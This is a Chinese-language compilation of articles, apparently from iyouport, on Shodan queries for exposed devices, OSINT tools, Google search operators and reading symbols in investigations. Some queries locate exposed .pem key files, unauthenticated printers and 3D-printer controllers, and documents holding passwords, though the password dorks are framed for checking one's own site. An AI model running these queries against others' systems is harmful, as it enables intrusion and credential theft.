"佳能打印机" 🔍

"Server: KS_HTTP" "200 OK"

"Server: CANON HTTP Server"

「图」

「图」

家用设备

"雅马哈音响" 🔍

"Server: AV_Receiver" "HTTP/1.1 406"

「图」

「图」

"Apple AirPlay 接收器" 🔍

Apple TV，HomePods 等。

"\x08_airplay" port:5353

"Chromecast /智能电视" 🔍

"Chromecast:" port:8008

"快思聪智能家居控制器" 🔍

"Model: PYNG-HUB"

随机的东西

"OctoPrint 3D 打印机控制器" 🔍

title:"OctoPrint" -title:"Login"
http.favicon.hash:1307375944

「图」

「图」

"以太坊矿工" 🔍

```
"ETH - Total speed"
```

「图」

「图」

"Apache目录列表" 🔍

用任何扩展名或文件名（如 phpinfo.php）替换 .pem。

```
http.title:"Index of /" http.html:".pem"
```

"一大堆 Minecraft 服务器" 🔍

```
"Minecraft Server" "protocol 340" port:25565
```

"搜朝鲜！" **K P** 🔍

就是字面上的一切。

```
net:175.45.176.0/22,210.52.109.0/24,77.94.35.0/24
```

以上列表可能仍不完整；Shodan 的宝藏非常非常多，持续有待挖掘。如果您有其他更好的见解，欢迎留言探讨。

真心建议您尝试一下本文列出的所有搜索，即便您不是调查爱好者，这些尝试也能帮您以最简单直接的方式体验到所谓的物联网有多危险。警惕。〇

Awesome Shodan Search Queries

广告

原文

攻击者如何收集有关目标的情报？他们能了解你多少？ - iyouport

hacktivist开源情报-每个人都可用的武器

【2020年5月21日存档】这里是关于开源情报的精减版，您能从中掌握对该领域的整体了解。

进行任何有针对性的攻击（或进行渗透测试、或红队活动）的第一步是收集关于目标的尽可能详尽的情报。

尽管有多种方法可以秘密进行收集，但情报收集通常都会始于从公共资源中抓取信息，这些信息统称为开源情报。

由于社交媒体和在线活动的盛行，现在有大量合法可收集的开源情报可用，这些信息很可能为攻击者提供成功描述组织或个人所需的一切。

政府间谍经常这么做，他们称之为“社交媒体情报”，该领域甚至不在法律可约束范围内，见《什么是社交媒体情报？你的Twitter如何成为抓捕你的理由》。

关于防御方法，见《社交媒体情报和反情报基本工具手册：自我人肉（2）》。

如果您觉得我们的“开源情报”专栏中的内容太多，本文缩减一下——帮助您快速了解开源情报的全部内容，以及如何学习使用开源情报工具来更好地了解自己的数字足迹，避免被追踪迫害。

什么是开源情报？

「图」

开源情报是指可以合法地从有关个人或组织的免费公共来源中收集的任何信息。

开源情报不是新鲜事物，它已经有一百年的历史 —— 2018年是它的百年纪念。您可以在这里下载上图中提到的那本书：https://t.me/iyouport/6648

☞实际上，这往往意味着可以在互联网上找到的所有信息都属于开源情报。

从技术上讲，任何公共信息都属于开源情报类别，无论是在公共图书馆中的书籍或报告、报纸上的文章还是新闻稿中的声明。

☞开源情报还包括可以在不同类型的媒体中找到的信息。尽管人们通常认为它是基于文本的，但是图像、视频、网络研讨会、公开演讲和会议中的信息都属于开源情报。

简单说，只要你能挖出来（而不是偷），它就属于你。

开源情报干什么用？

「图」

☞通过收集有关特定目标的公开信息源，攻击者（或友好的渗透测试人员）可以精准地描述潜在的受害者，以便更好地了解其特征、并缩小搜索范围，以寻找可能的漏洞。以此来制定可能最有效的攻击计划。

攻击者无需主动与目标交战，就可以利用产生的情报来构建威胁模型和制定攻击计划。

像军事攻击一样，有针对性的网络攻击同样始于侦察，而数字侦察的第一阶段是被动地获取情报而不会警告目标。

☞将开源情报收集运用到您自己或您的组织上，是了解您为潜在的攻击者提供了哪些信息的好方法。也就是我们介绍过的“自我人肉”。

一旦您知道可以从公开来源收集到什么样的情报，就可以使用它来帮助您自己或您的团队制定更好的防御策略。

您的公共信息暴露了哪些漏洞？攻击者可以从中了解到什么，他们可以利用其进行哪些社会工程攻击或网络钓鱼攻击？

帮自己回答这些问题。

开源情报框架是什么？

「图」

从各种各样的来源收集信息是一项耗时的工作，但是有许多工具可以简化情报收集。

虽然您可能听说过 Shodan 之类的工具、以及 Nmap 和 Zenmap 之类的端口扫描仪，但相关工具种类繁多。

- 在这里看到工具汇总《超级情报收集工具库：开源验证和调查工具及使用方法》
- 这里是搜索技术汇总《如果你擅长搜索，你能找到一切：*没有谷歌*的强大搜索世界》

安全研究人员本身一直在记录可用的工具。

Justin Nordine 编写的开源情报框架是一个很好的起点。该框架提供了指向大量资源的链接，这些资源用于执行各种各样的任务，从收集电子邮件地址到搜索社交媒体或暗网。

在许多有关开源情报工具的文章中，您都会看到对 Kali Linux 渗透测试发行版中包含的一个或两个软件包的引用，例如 The Harvester 或 Maltego；要了解可用于 Kali 的开源情报工具的完整概述，请查看 Kali Tools 列表。其中提供了这些工具的简要介绍以及如何使用每个工具的示例。

在这里，您可以找到许多有用的开源情报收集工具，其中包括 Nmap 和 Recon-ng 等研究人员最喜欢的工具。

Nmap 工具允许您指定IP地址，例如，确定哪些主机可用，这些主机提供哪些服务，它们运行的操作系统，正在使用的防火墙、以及许多其他详细信息。

Recon-Ng 是 Tim Tomes 用Python编写的用于网络侦察的工具。您可以使用它来进行枚举给定域的子域之类的事；一旦添加了适当的API密钥，就有许多模块可以让您涉足 Shodan、Github、Jigsaw、Virustotal 等。

模块按类别进行分类，例如侦察、报告和发现。

其他开源情报工具、技术和资源

「图」

当然，用于情报收集的最明显的工具之一是Web搜索引擎，例如 Google、Bing 等等。

实际上，有数十种搜索引擎，对于特定类型的查询，某些搜索引擎可能会比其他搜索引擎返回更好的结果 —— 请查看上面👆的汇总链接。

问题是，如何有效地利用所有这些引擎呢？

Searx 是一个很好的工具，可以解决此问题并使Web查询更有效。

Searx 是元搜索引擎，可让您匿名同时收集来自**70**多个搜索服务的结果。

Searx 是免费的，您甚至可以托管自己的实例以获取最终的隐私。既不跟踪也不对用户进行概要分析，并且默认情况下禁用 cookie。**Searx** 也可以在**Tor**上用于在线匿名搜索。

Searx 的许多公共实例也可供那些不想或不需要托管自己的实例的人使用。有关列表请参见 Searx Wiki。

一直有很多人在为开源情报社区开发新工具，跟踪新信息的最好方法就是推特。但是，在 Twitter 上跟踪事件可能有点困难。幸运的是，还有一个开源情报工具叫做 **Twint**。我们介绍过。

- 《如何从推特挖掘情报（1）：一个流行工具的具体介绍》
- 《观察追踪者的思考方式：挖掘推特情报的基础教程（2）》

Twint 是用Python编写的 Twitter 抓取工具，可轻松匿名收集和寻找 Twitter 上的信息，而无需注册 Twitter 服务本身、也不必使用API密钥，就像使用 Recon-ng 这样的工具一样。

使用 Twint，完全不需要身份验证或API。只需安装该工具并开始搜寻即可。您可以按用户、地理位置和时间范围等进行搜索。这只是 Twint 的一些选项，也有许多其他选项可用。请参见上面的链接。

那么，如何使用 Twint 帮助您跟上开源情报的发展呢？好吧，这很容易，并且是 Twint 在行动中的一个很好的例子。

由于 Twint 允许您指定 -since，以便仅从特定日期开始提取推文，因此您可以将其与 Twint 的搜索词结合使用，比如每天抓取标有#OSINT的新推文。

您可以使用保存为 SQLite 格式的 Twint 的 -database选项，自动执行该脚本并将结果输入数据库中，以方便您查看。

测试一下。到目前为止，看起来好像有58条#OSINT推文。

```
twint -s '#osint'—since 2019-07-17
```

可以用来收集公共信息的另一个很棒的工具是 Metagoofil。该工具使用 Google 搜索引擎从给定域中检索PDF、Word文档、Powerpoint 和 Excel文件。

然后，它可以从这些文档中自动提取元数据，以生成一份报告，列出诸如用户名、软件版本、服务器和机器名之类的信息。

最后

「图」

本文介绍了开源情报的基本概念以及它为何有用。

并且在几个不错的地方找到了很多开源情报工具，这些工具可以帮助您收集所需要的几乎所有类型的信息，并且还向您介绍了一些单独的工具，展示了它们如何可以投入工作。

对于任何参与网络安全的人来说，了解如何收集开源情报都是一项至关重要的技能。

☞不论您是想保护自己、还是保护自己的组织和团队，您对数字足迹的了解越多 —— 越擅长从攻击者的角度审视防御，您的防御能力就越强。

有了这些知识，您就可以继续制定更好的防御策略。

更详尽的信息请参见我们的 “开源情报” 专栏。〇

原文

攻防皆可用：GoogleDorking 高级运算符完整列表 - iyouport

开源情报-每个人都可用的武器

【2019年11月7日存档】既可以进攻也可以防御

对于那些一直在做SEO的人来说，GoogleDorking 是家常便饭；但是对于大多数希望从事深度调查工作和隐私保护工作的初学者来说，似乎对它的了解还不够全面。

但正如我们一直强调的那样，GoogleDorking 是挖掘情报的捷径之一，非常值得掌握 —— 即便您不是开源情报爱好者只是对社交网络上的谎言感觉头疼，也非常值得了解它。

完全免费的好用工具。

我们介绍过一部分最基础的内容，详见《高级运算符辅助开源调查：巧用搜索引擎挖掘情报》；这篇文章中提到的部分对于一般调查来说已经足够。

但是还有一些深度调查工作需要稍微复杂一些的运算符，并且，如果您能知道它们所有，就可以更充分地发挥创造力，实现绝佳的搭配。

本文就是一个完整的列表。

您不需要记住它们所有，只需记得要使用的时候来这里查看即可。

IYP是工具箱，不是普通的新闻网站。

「图」

事实上大多数运算符都很容易记忆；它们就是你脑海中的短命令。

但是，要想知道如何有效地使用它们，则是完全不同的事。

就如大多数SEO都知道这些基础知识，但很少有人真正掌握它们。

谷歌搜索运算符：完整列表

您是否知道Google会不断杀死有用的运算符？

这就是为什么大多数现有的列表都已过时且不准确的原因。

本指南测试了能找到的所有运算符；也就是说目前为止它们都能用。

“search term”

强制进行完全匹配搜索。使用此选项可以优化模糊搜索的结果，或在搜索单个单词时排除同义词。

Example: “steve jobs”

OR

搜索X或Y；这将返回与X或Y或两者相关的结果。注意：（|）运算符也可用于代替“OR”。

Examples:jobs OR gates / jobs

AND

搜索X和Y；这将仅返回与X和Y相关的结果。注意：对于常规搜索，它实际上并没有太大区别，因为 Google 无论如何都默认为“AND”。但是，当与其他运营商搭配时，它是非常有用的。

Example: jobs AND gates

–

排除术语或短语。在我们的示例中，返回的任何页面都与 jobs 有关，但与Apple（公司）无关。

Example: jobs -apple

- 充当通配符，将匹配任何单词或短语。

Example:steve * apple

()

将多个术语或搜索运算符分组以控制搜索的执行方式。

Example: (ipad OR iphone) apple

$

搜索价格。也适用于欧元（€），但不适用于英镑（£）

Example: ipad $329

define:

基本上是谷歌内置的字典，以显示单词的含义。

Example: define:entrepreneur

cache:

返回网页的最新缓存版本（当然，前提是页面已被编制索引）。

Example: cache:apple.com

filetype:

将结果限制为特定文件类型。例如，PDF，DOCX，TXT，PPT等。注意：也可以使用“ext：”，结果相同。

Example: apple filetype:pdf / apple ext:pdf

site:

将搜索结果限制为特定网站。

Example: site:apple.com

related:

查找与给定域名相关的网站。

Example: related:apple.com

intitle:

查找标题中包含特定单词（或短语）的页面。在我们的示例中，将返回标题中包含单词“apple”的任何结果。

Example: intitle:apple

allintitle:

与“intitle”类似，但只返回包含 title 标签中所有指定单词的结果。

Example: allintitle:apple iphone

inurl:

在URL中查找包含特定单词（或短语）的页面。对于此示例，将返回URL中包含单词“apple”的任何结果。

Example: inurl:apple

allinurl:

与“inurl”类似，但只返回URL中包含所有指定单词的结果。

Example: allinurl:apple iphone

intext:

在内容中的某处查找包含特定单词（或短语）的页面。对于此示例，将返回页面内容中包含单词“apple”的任何结果。

Example: intext:apple

allintext:

与“intext”类似，但只返回在页面中包含所有指定单词的结果。

Example: allintext:apple iphone

AROUND(X)

在相距X个单词的位置上包含两个制定单词或短语的页面。对于下面这个例子，意味着单词“apple”和“iphone”必须出现在内容中，并且相隔不超过四个单词。

Example: **apple AROUND(4) iphone**

weather:

查找特定位置的天气。这会显示在天气片段中，但也会返回其他“天气”网站的结果。

Example: **weather:san francisco**

stocks:

查看特定股票代码的股票信息（即价格等）。

Example: **stocks:aapl**

map:

强制 Google 显示地理位置搜索的地图结果。

Example: **map:silicon valley**

movie:

查找有关特定电影的信息。如果电影放映当前显示在您附近，也会能找到电影放映时间。

Example: **movie:steve jobs**

in

将一个单位转换为另一个。适用于货币、重量、温度等。

Example: **$329 in GBP**

source:

查找 Google 新闻中某个来源的新闻结果。

Example: **apple source:the_verge**

_（下划线）

不完全是搜索运算符，充当自动填充的通配符。

Example: apple CEO _ jobs

1. ..# 搜索一系列数字。在下面的示例中，将返回2010–2014年间与“WWDC视频”相关的搜索，但不会返回2015年及以后的结果。

Example: wwdc video 2010..2014

inanchor:

查找特定锚文本链接的页面。对于此示例，将返回锚文本中包含“apple”或“iphone”的入站链接的任何结果。

Example:inanchor:apple iphone

文字看累了？看一个简单的视频轻松一下：

⚠安全第一！

如果您正在考虑使用 Google dorking 作为调查技术，那么在开始之前就需要采取一些预防措施。

Google dorking 操作需要了解涉及访问页面和文件的法律问题，即使它们位于公共服务器上。

⚠虽然您在大多数情况下可以随意使用搜索引擎，但根据模糊和过度的所谓计算机欺诈和滥用法案，访问某些网页或从那里下载文件在某些情况下会被起诉，尤其是在美国。

⚠此外，由于搜索提供商和政府会无限期地监控和存储搜索查询，因此您的搜索可能会被记录、被识别、甚至可能在将来被用于对付您（“第四公民”的导演 Laura Poitras 就是因为谷歌搜索被抓住的，从此长期遭受当局的监控骚扰和恐吓）

为了保护您的调查，我们建议您在任何搜索引擎上使用 Tor 浏览器或 Tails（下载在移动硬盘上很容易使用，在这里看到《追求正义的人应该加强反侦技巧!—— 洋葱头会让谁流泪（二）》）。

Tor掩盖了您的互联网流量，将您计算机的可识别性信息与您正在访问的网页分开。

虽然 Tor 浏览器多年来变得更容易使用了，但它有时会使搜索更加困

难。

Google 和其他搜索引擎可能会要求您解决CAPTCHA，以证明您是人类。

而且谷歌会怀疑您的行为，有些时候甚至完全阻止您继续使用搜索引擎。

在这种情况下，您可以尝试更改线路，直到连接到未列入黑名单的出口节点。为此，请单击地址栏左侧的站点信息图标（“ⓘ”），然后选择“New Circuit for this Site”，如下所示。

⚠请注意，根据您所在的国家/地区，使用Tor可能会将您的在线活动标记为可疑。请事先了解相关法律。

除非您是高级攻击的特定目标（这种情况极少），否则Tor浏览器在防止您的身份泄漏方面相当有效；但是无法掩盖您正在使用Tor的事实。

⚠这是您在使用 Tor 时必须愿意承担的风险。但是您也可以通过将**Tor**浏览器配置为使用**“obfs4”**网桥在某种程度上降低风险。

🌤使用网桥可在一定程度上隐藏您连接到Tor服务器的事实，使用“obfs4”则可以在一定程度上使该连接看起来像Tor流量以外的其他东西。

如果您不能使用Tor，另一种选择是安全的VPN，虽然在保持匿名性方面效果较差。相关《什么时候你需要VPN？》《检测您的VPN是否安全》《值得推荐的VPN，以及其他安全工具》。

您还可以使用 DuckDuckGo 等类似倾向于保护隐私的搜索引擎来实施高级运算符搜索。

注：您输入的术语的顺序（包括过滤器）在某些搜索引擎上很重要，因此您可以尝试调整不同的组合以获得更准确或更相关的结果。

下面是一个小例子：在美国国土安全部网站上查找预算

这个 dork 将为您带来包含“budget”一词的所有公开的Excel电子表格：

```
budget filetype:xls
```

‘filetype：’运算符不会自动识别相似文件格式的不同版本（即 doc vs. odt 或xlsx 和 csv），因此对于每种格式都必须单独进行：

```
budget filetype:xlsx OR filetype:csv
```

这个dork将在NASA网站上返回PDF文件：

```
site:nasa.gov filetype:pdf
```

下面这个将在美国国土安全部网站上返回包含“budget”一词的.xlsx 表格：

```
budget site:dhs.gov filetype:xls
```

在各种搜索引擎中执行的查询将返回不同的结果，下面对比一下。

在谷歌 ——

是的你必须先接受愚蠢的人类检查。

在 **Bing** ——

在 **Yahoo** ——

在 **DuckDuckGo** ——

如您所见，搜索引擎之间的结果各不相同。于是，在从事一项调查中如果您在某一个搜索引擎上没有找到理想的结果，那么就换一个搜索引擎试试。

以下是简单的汇总表格，您可以参考：

除了开源调查之外 **dorking** 作为防御的使用方式

💡您可以使用 dorking 来保护自己的数据并保护您负责的网站。我们称之为“防御性 dorking”，它通常采用以下两种形式之一：

- 检查您管理的在线服务中的安全漏洞；
- 无论您是否管理该网站，都可以在网站上查看有关您自己或其他人无意中泄漏的敏感信息。

这里主要关注后一种可能性 —— 因为泄漏信息的情况非常普遍。（在制作不同在线身份以掩盖真实身份之前您必需先做一个全面清

理，dorking 是查找需要清理的内容的好办法之一。延伸：《如何制作完全不同的在线身份》《如何切分敏感身份以保护行动自由》）

谷歌黑客数据库建议您使用不同的关键字 `site:yoursite.org`过滤器，以识别出某些漏洞。

虽然这些搜索可以帮助攻击者找到易受攻击的服务，但它们也可以帮助管理员保护自己 —— ⚠关键在于谁的行动更快。

我们建议您在尝试之前与您要测试的服务的技术管理员协调（当然除非您自己就是管理员）。

以下是一些例子。

您可以在PDF文档中搜索您的姓名：

`「your name」 filetype:pdf`

还可以使用其他可能相关的文件类型重复此搜索，例如 xls，xlsx，doc，docx，ods 或 odt。您甚至可以在一次搜索中查找多种不同的文件类型：

`「your name」 filetype:pdf OR filetype:xlsx OR filetype:docx`

还可以像下面这样。（有关您选择的搜索引擎是使用 intext: 还是 inbody: 请参阅上面表格）

`「your name」 intext:”「personal information like a phone number or address」”`

⚠但是要小心！如果您搜索自己的姓名或地址、身份证号，您实际上是在向运行搜索引擎的人提供这些敏感信息。即使是Tor浏览器也无法保护您免受此类隐私泄露。

您还可以搜索与服务器的IP地址关联的信息：

`ip:[your server’s IP address] filetype:pdf`

还有更多示例，请查看漏洞利用数据库的列表。

重要示例：查找密码

搜索登录名和密码信息可用作防御性 Dorking。

密码有时会被存储在Web服务器上的可公开访问的文档中。Dorking 是识别此类安全漏洞的一种方法。

尝试此操作的最简单方法是将搜索限制在您管理的网站或由您可以寻求许可的人管理的网站上。在不同的搜索引擎中测试以下dorks：

```
password filetype:doc site:yoursite.org

password filetype:docx site:yoursite.org

password filetype:pdf site:yoursite.org

password filetype:xls site:yoursite.org
```

⚠请注意这不是游戏。您必需要做到以下几点：

- 不要共享任何查看到或下载到的密码，
- 加密可能下载到的任何文件，
- 不要测试或使用查找到的任何密码，
- 立刻通知可能找到公开密码列表的任何网站的管理员。

总

谷歌 Dorks 列表从2002年被挖掘以来迅速成长为一个大型的查询词典，最终在2004年被组织成原始的谷歌黑客数据库（GHDB）。

如上述的展示和以前我们的演示，它可以做很多事 —— 不仅可以支持深度调查，也能作为防御保护隐私。对于后者，您需要在被骇客发觉之前主动清理掉对您来说致命的一切数据。〇

原文

政治涂鸦和隐藏的信息：标志、符号和其他视觉线索协助追踪调查的入门指南 - iyouport

开源情报-每个人都可用的武器让它民主-公民掌握真相的技巧和技术

【2020年10月29日存档】这里是一份希望能帮助您调动创造力的指南，关于：如何通过探索视觉标志或符号来辅助您的调查，特别是在直接可获取的信息极少的情况下，找到隐藏在深层的东西 ……

---

the largest hospitals in Berlin, Germany

您觉得上图中的红色脚印传递了什么样的信息？

本文的重点是关注各种类型的标志、符号和图像，并探讨这些视觉效果的含义，这些信息可能很重要，可以帮助您的调查工作找到普通方法难以找到的深层信息。

探讨或解读符号和标志的含义并不是一个新领域。对于那些在绘画、雕塑和建筑等领域研究图像学的人来说，这个技巧应该是很熟悉的。它也是考古学、民族志、社会学和其他领域研究的重要组成部分。

警察和间谍也很擅长这手，他们的追踪调查往往都会依赖于对目标组织或个人相关的视觉语言的理解，例如：纹身、织物上的图案和符号、社交媒体标签、和其他视觉标记在身体或物品上呈现的方式。

人们在日常生活的几乎所有方面都依赖符号。购买标有符号和标签的产品，以帮助您选择消费什么；使用贴纸、徽章、T恤、和其他形式的标记来定义我们更广泛的身份和政治立场等等 …… 在不同的职业中，从林业到工程、再到军队，这种使用都是极为常见的。

人们使用视觉代码对事物进行分类、登记或掩饰它们的来源，标记领土、区分功能或传达特定的信息 —— 这些信息通常可能是抵抗运动的动员或对时政的评述性信息。

想一想标签、标牌和画上的标记，以及表情符号、ASCII码、meme、

甚至是图标。

符号和标志构成了一种更广泛的交流形式，超出了单纯的文字范围。

随处可见符号和标志：建筑物、路面、衣服、设备、树木和车辆上。随着数字通信的普及，人们对符号和标志的使用和交流空间一样，已经超越了物理表达和行动的限制。

📌 观察和分析这些新的符号和象征，可以帮助您理解新的表达和交流形式究竟意味着什么，它们如何重新定义人们表达自己、交流、组织、动员和学习的方式。

尤其是，它们可能构成关键性的线索、参照物、身份或其他痕迹，可以丰富您的调查。

一方面，一个单一的符号可能意味着很多东西，但它也可能在特定的环境中被误导或毫无意义。

另一方面，当符号累积起来的时候，它们可以改变我们对它们所代表或象征的东西的理解，特别是当它们加起来形成某些视觉模式或叙事时，可以告诉您一些您无法看到的故事。

📌 它们可以帮助您定义行为者，他们的角色，甚至他们的意图。

然而，虽然在各种类型的视觉材料之间找到相关性相当容易，但相关性并不是因果关系的证明或保证。

📌 您需要根据符号和标志背后的模式、联系或隐藏的含义，特别是在其原始语境中，找到多种方法来验证假设。

标志和符号作为证据

「图」

首先，我们应该定义标志和符号之间的区别 —— 虽然这并不重要，但在思考它们时可能会有用。

一个区别是，标志扩展了语言，有助于与那些已将该标志纳入理解的人进行交流。一个标志背后往往有一些直接的交流（比如指令）。而符号则是比较短暂的，因为它不是指令，而是对某种事物（如过程、功能和其他事物如物体）的表示。

📌 本节不是讲如何区分这两种和其他形式的视觉或非视觉线索，而是，希望解释您可以如何扩大自己的视野，在调查时不至于遗漏或忽略它们。

在调查中研究标志和符号时，要考虑到它们有几种不同的类型，大致可分为3类，其中前两种是最常见的：正式和非正式的标志或符号。

1、正式的标志和符号

「图」

正式的标志和符号的一些例子是比如汽车牌照、飞机的尾号、或产品和设备上使用的符号。这些都是由特定的政府或企业标准或规则决定的，通常需要与一些文件和流程联系起来。

这往往意味着您可以在某个地方找到它们的含义，您可以从中获得其他信息，比如潜在的所有权、历史记录和过去的交易等。

这取决于您的搜索能力。

- 不要错过《如果你擅长搜索，你能找到一切：*没有谷歌*的强大搜索世界》

2、非正式性的标志和符号

「图」

这些标志可用于不同的目的，例如，人行道上的涂鸦标志或树上的图形标志可能被放置在那里为了向特定人员发出某些信息。它们是有意的，但往往是临时的，而且是任意的，在不同的地方可能有不同的意义。

📌 观察它们并了解它们出现的背景是至关重要的。通过观察这些非正式的标志，您可以了解过去、现在或未来的活动或在特定空间内的存在。

这一类还包括使用符号来表现从属关系。

这些符号可能遵循某些规则和特征，例如正式或非正式群体使用它们来增加归属感和认同度。

还有那些偶然的或无意的标志和符号。元数据就是其中之一。

- 《如何从 Microsoft Office 文档中完全删除那些暴露你身份的元数据？》
- 《社交媒体照片也能找到元数据痕迹以实现追踪，这件事怎么做？》
- 《隐藏和利用元数据的诸多工具》

📌 一种视觉元数据，可能来自于非预期的行为，比如使用特定的工具，如打印机，在纸上留下独特的代码（关于打印机代码可以揭示什么，见这里的延伸阅读），或者具有自己特点的设备，如特定的字体、标签、视觉标记；或者独特的制作和创造事物的方式（想想某些手机在您的照片上自动留下的logo …… 还有更多案例）。

🛡 注：

人们可能会认为，模式和重复是解码或解释符号和象征的一种方式。然而，有些时候，只出现一次的标志或符号也可能同样重要。

当您试图理解事物时，进行分类是很有用的，但别忘了生活充满了惊喜。更重要的是要保持开放的心态和观察力，并考虑扩大你周围的视野，因为有时一个小小的线索可能就是一个大事物的开端，让您了解到一个您本来无法接触到的故事。

另一方面，人们使用的标志和符号已经饱和。其中有些可能也是为了迷惑、误导和恐吓您；有些可能是真正偶然的，给你一种不存在的联系、从未发生过的关系的假象，或者可能让您相信完全的无稽之谈。

📌 您可能需要带着这些预防措施来对待标志和符号。

从不同领域的各种调查来看，很显然，如何将这种方法作为一种有效的方法 —— 或者说有时是唯一可用的方法 —— 来确定调查的一些初始参数，是很重要的。当获取直接信息很复杂，或者坦率地说，由于信息缺失或被故意混淆而无法获取时，情况尤其如此。

为了说明为什么探索和理解标志和符号有时是一种有效的调查方法，下面举几个案例，关于调查人员在调查外人无法接触到的问题时如何使用这种方法。

请注意这只是几个例子，是为了说明您可以如何在调查中去发现、阅读、理解和探索标志和符号的含义。这些案例应该为您带来灵感，激发您的创意，您将能够获得更多深入的调查成果。

虽然我们在这里并没有提供一步步的指导，但会专注于探讨如何弄清楚是什么让一些人更擅长使用这种方法，以及何时和如何使用这种方法 —— 这是关于鼓励一种特定的思维方式，即 挖掘可以找到的信息的外围空间。

尽管这些案例引人入胜、而且具有启发性，但希望大家关注的不是实际故事，而是它们使用的方法。希望您将它们看作是一套明确界定的战术，可以适用于不同的环境和情况。

1、涂鸦的政治，政治涂鸦

「图」

“Marking Beirut: A City Revealed through its Graffiti,” Tala F. Saleh, 2009. Photo of one of the book’s spreads documenting the visual research conducted by Tala F. Saleh. Book owned and photographed by the author of this text as of 2019.

在贝鲁特生活和学习期间，Tala F. Saleh 对当时城市中涂鸦的数量和表达的多样性产生了兴趣。

作为一个局外人，她决定用她的设计和视觉化的技能来研究政治涂鸦中所蕴含的符号。 正如她后来在2009年出版的《标记贝鲁特：从涂鸦中揭示的城市》一书中所说的那样，她这样做是为了从一个局外人的角度来观察这场内部斗争。

2006年夏天与以色列的战争结束后，Tala 立即来到贝鲁特，并记录了贝鲁特密集的涂鸦符号，直到2007年。正如她在书中指出的那样，她当时提出的问题是：“这个模板提供了什么？它对这个城市及其社区有什么特别的含义吗？它在向谁说话？”

她几乎立即意识到，贝鲁特的涂鸦非常具体，因为它主要是关于政治、战争和社会斗争的。

在2007年夏天的四个月的紧张时间里，她决定拍摄和记录整个市中心的每一个标志和模板，每一条街，每一堵墙。

在拍摄的过程中，她也意识到大部分的视觉材料都是由政治标志、口号和相关的社论组成的。通过细致地积累这些视觉材料，她意识到，贝鲁特的涂鸦实际上可以用来识别其邻里和社区，城市依照政治隶属划分为不同区域。“Marking Beirut: A City Revealed through its

Graffiti," Tala F. Saleh, 2009. Photo of two pages showing the documentation process of the visual research. Book owned and photographed by the author, ibid.

Tala 非常系统地开展了研究工作，她通过行走和拍照，在地图上记录符号，在一个简单的图像数据库中积累图像，解读标识和符号，学习其意义和背景，以建立一个一致的叙事，打开了一个局外人对内部斗争的视角。

值得注意的是，在本次调查之前，她的工作已经集中在城市战前（1975–2009年）的涂鸦以及她所谓的 "西方形式的政治涂鸦" 上，这使得她能够在这个过程中利用她现有的视觉技能和批判技能。

Tala 对贝鲁特的涂鸦口号、标志和符号的分析侧重于它们的风格、媒介、信息、位置、空间和频率 (或重复性)。她通过研究这种视觉交流如何被挪用和随着时间的推移而改变来扩展这项研究。

就像许多其他形式的交流一样，它是动态的，不断变化的。这使她得出结论，这种视觉文化是一种非官方形式的宣传和大众(地方)传播的文化，目的是让城市居民(受众)了解政治和空间上的分歧、意见、冲突和影响。"Marking Beirut: A City Revealed through its Graffiti," Tala F. Saleh, 2009. Photo of two pages documenting the geographical mapping of accumulations and appearance patterns of specific groups of symbols. Book owned and photographed by the author, ibid.

这项调查捕捉到了城市及其居民的短暂现状，这种现状在2009年该书出版之前几乎已经消失。

Saleh 的工作并不完全是独一无二的：早些时候就有人尝试以涂鸦作为政治信息，以城市的墙壁作为媒介。

学者 Maria Chakhtoura 记录了1975年至1978年期间贝鲁特的涂鸦，并以 "La Guerre Des Graffiti" 为题出版了她的研究作品。同时还有其他研究通过涂鸦文化来解读和解释城市的结构。

📌 本案例的意义已经超越了涂鸦的视觉语言。如今，同样的表现形式、交流方式和隶属关系不仅在城乡物理空间中泛滥，而且同时在社交网络和各种在线社区的虚拟空间中泛滥。

📌 它们的成员或常客不再使用涂鸦，而是使用memes、动画GIF、表

情符号、ASCII艺术和标签来代表自己的观点、隶属关系、联盟和身份。这些符号构成了一种重要的视觉材料，承载了厚重的信息层。

这些新的视觉宣传和影响形式的制造者都有自己的风格。

从调查的角度来看，更有意思的是，它们还携带着其他元素，而这些元素，在涂鸦的情况下，似乎是无法追踪的，比如：元数据。

📌 但即使是传统形式的涂鸦。也会包含一种元数据，找到一种收集和解读元数据的方法，在线下形式中与在线形式的视觉信息一样重要。

涂鸦有自己的风格、独特的标签、特定的材料（颜料类型），并且出现在特定的地点和时间。这些元素被收集后，就可能构成重要的元数据。

另一个问题是，这些传播视觉意义的形式容易遭遇不同形式的擦除，如套印或挪用。同样的视觉效果在不同的时间和背景下也可能有不同的含义。您应该带着这样的预期去调查。

🛡 注：

探索象征性视觉语言不必专注于图像的政治方面，它还可以帮助您探索符号在各种行业中发挥的功能性意义和作用。

现在，从城市的居民和他们的符号表达转向城市的工人和他们为提高工作效率而使用的标志。

当作为一个旁观者反向分析和理解这些标志时，它们会让您对城市基础设施及其权力动态产生独特的认识。

我们离开贝鲁特前往纽约，跟随艺术家兼作家 Ingrid Burrington。

2、专业效率

「图」

「图」

Cable markings from left to right: “fiber optic cable,” “duct width markings,” “point of entry,” company marking “xo communications.” All images from “Networks Of New York: An

Illustrated Field Guide to Urban Internet Infrastructure," Malville House, 2016, author Ingrid Burrington, images by Mariana Druckman.

Ingrid 是探险家和作家，虽然她并不这样描述自己。她不喜欢没有答案的问题，或者更准确地说，她不会拒绝回答即使是最奇怪的问题。

她也是一个流浪者，一个探索城市空间的现代漫游者，记录下最奇怪的和看不见的城市基础设施的碎片，特别是那些与通信和信息传输有关的东西。

她拍照、阅读手册、与人交谈、写下大量的笔记，并花时间把所有的东西整理起来。

「图」

Manhole covers and handholes: "Time Warner Cable of New York," manhole "East Jordan Iron Works – Communications," "Verizon" handhole. All images from "Networks of New York: An Illustrated Field Guide to Urban Internet Infrastructure," Malville House 2016, author Ingrid Burrington, images by Mariana Druckman.

从 Ingrid 的工作中我们可以发现，学习一群专家的视觉词汇比阅读其他资料更能揭示他们工作的实质。

它也能让我们更好地理解看不见的结构和基础设施 —— 在她的案例中，就是那些隐藏的网络和它们所提供的服务，以及它们在所有权、使用权和扩散方面的政治。从更宏观的角度看，它还显示了旧的结构如何被新的行为者重新使用和占有。

📌 Ingrid 的作品强调观察和学习行为者的非正式视觉语言的重要性，这些行为者可能无法代表其作品背后的政治色彩，但值得关注的是他们活动的实际和逻辑层面。

然而，由于人们往往都是为了精简和简化工作流程，所以经常使用视觉语言来帮助自己和其他相关人员更高效地完成工作。Ingrid 实践的一个重要部分是不仅依靠智慧的猜测，而且与制作这些标志的人交谈 —— 他们是解释他们语言的最佳来源。

Ingrid 所使用的同样方法也可应用于非城市环境，林业工人在规划他们将要进行的具体工作类型时，经常使用视觉符号。

